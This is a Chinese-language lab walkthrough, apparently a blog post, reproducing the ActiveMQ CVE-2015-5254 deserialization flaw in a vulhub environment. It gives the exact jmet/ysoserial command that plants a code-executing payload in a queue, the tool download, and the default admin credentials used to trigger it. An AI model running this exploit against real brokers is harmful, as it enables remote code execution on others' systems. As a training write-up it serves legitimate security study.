前言
靶场使用的vulhub
靶机:192.168.44.128
kali :192.168.44.129
基础知识
MQ(Message Queue):消息队列。消息服务将消息放在队列中,在合适的时候发给接收者。发送和接收是异步的(发送者和接收者的生命周期没有必然关系)。
漏洞原理
该漏洞由于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
适用版本
ActiveMQ 5.13.0之前d的5.x版本
复现过程
-
先扫一波端口(虽然已经知道是哪个端口),就当是复习Nmap了。通过扫描出的端口,判断为activeMQ的两个默认端口8161和61616。8161是网络管理页面端口,61616是工作端口,消息在此端口上传递。

-
访问管理页面,长这样↓,说明环境部署成功。

-
这里需要用到Java消息利用工具-- jmet,
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar,jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。

-
构造利用语句,给目标的ActiveMQ添加一个名为 event 的队列,让靶场去ping DNSlog,
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "ping xxxxxx.ceye.io" -Yp ROME 192.168.44.128 61616,jemt用法及参数说明。

-
访问 192.168.44.128:8161/admin/browse.jsp?JMSDestination=event
可以看到队列中的消息,默认密码【admin | admin】,点击任意ID即可执行该ID相应的语句。

-
成功访问DNSlog

本文档详细介绍了如何复现ActiveMQ的CVE-2015-5254反序列化漏洞。首先,通过Nmap扫描确认靶机上的ActiveMQ端口,接着访问管理页面验证环境部署。然后,利用Java消息利用工具jmet,构造特定的命令注入到ActiveMQ的队列中。最后,通过管理页面触发队列中的Payload,成功执行命令,验证漏洞存在。
841

被折叠的 条评论
为什么被折叠?



